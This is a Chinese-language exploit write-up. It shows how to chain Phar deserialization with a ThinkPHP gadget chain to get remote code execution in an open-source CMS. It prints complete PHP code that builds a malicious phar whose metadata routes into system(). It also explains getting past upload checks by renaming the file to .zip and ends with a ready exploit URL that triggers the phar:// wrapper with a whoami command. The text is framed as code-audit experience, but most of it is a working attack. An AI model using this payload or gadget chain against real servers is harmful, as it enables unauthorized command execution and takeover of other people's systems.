Phar与thinkphp反序列化结合
源码
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
$phar=new\Phar("phar.phar");//
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//
$phar->setMetadata(new Windows());//
$phar->addFromString("test.txt","test");//
//
$phar->stopBuffering();
?>
Phar文件上传
Phar文件上传绕过
大家看到这里一定会想Phar文件,一定是XXX.phar这样的格式,只要后端一限制,那就没法利用了,如果这么想的话,那可能还是会phar协议不了解,直接说结论吧,phar文件可以是任意后缀,可以是jpg,png,zip等等,只要配合phar协议即可触发反序列化
查找上传功能
寻找单个功能点比较常见的就两种:
1.直接黑盒测试看应用程序有那些功能
2.白盒测试看路由,代码审计
一般情况还是先黑盒再白盒,因为有的应用路由写的很死,只能访问给定的功能,也就造成你再页面上看到的功能可能就是它大部分的功能了
黑盒测试
这里我们直接找上传点,当然里面也有许多坑,笔者会一一去解说
经过黑盒测试发现只能上图片,话不多少说直接将phar文件,改成phar.jpg然后上传
结果发现上传失败,其实有经验的同学都明白,检测图片的方法很多,mime,文件头,还有一堆处理图片的函数,那文件头来说,如果想绕过就必须在phar文件中添加文件头,但这样一添加,就破坏了文件格式,导致反序列化无法触发。因此这个图片上传无法利用
白盒测试
直接分析源码,找寻文件上传功能代码
找到一处,经过分析发现值允许上传zip,txt等文件,既然如此我们就上传一个phar.zip文件
上传成功,回显出了文件地址
验证漏洞
我们已经将文件上传到服务器,接下来就是利用phar+thinkphp反序列化进行rce漏洞验证
payload:
http://127.0.0.1//admin.php/update/rmdirr?dirname=phar://public/upload/images/628259c295370.zip&id=whoami
总结
本文以某开源CMS为例,分析在当今普遍使用框架的现在,如何去进行有效的黑白盒子测试与利用框架
漏洞进行代码审计的一部分经验。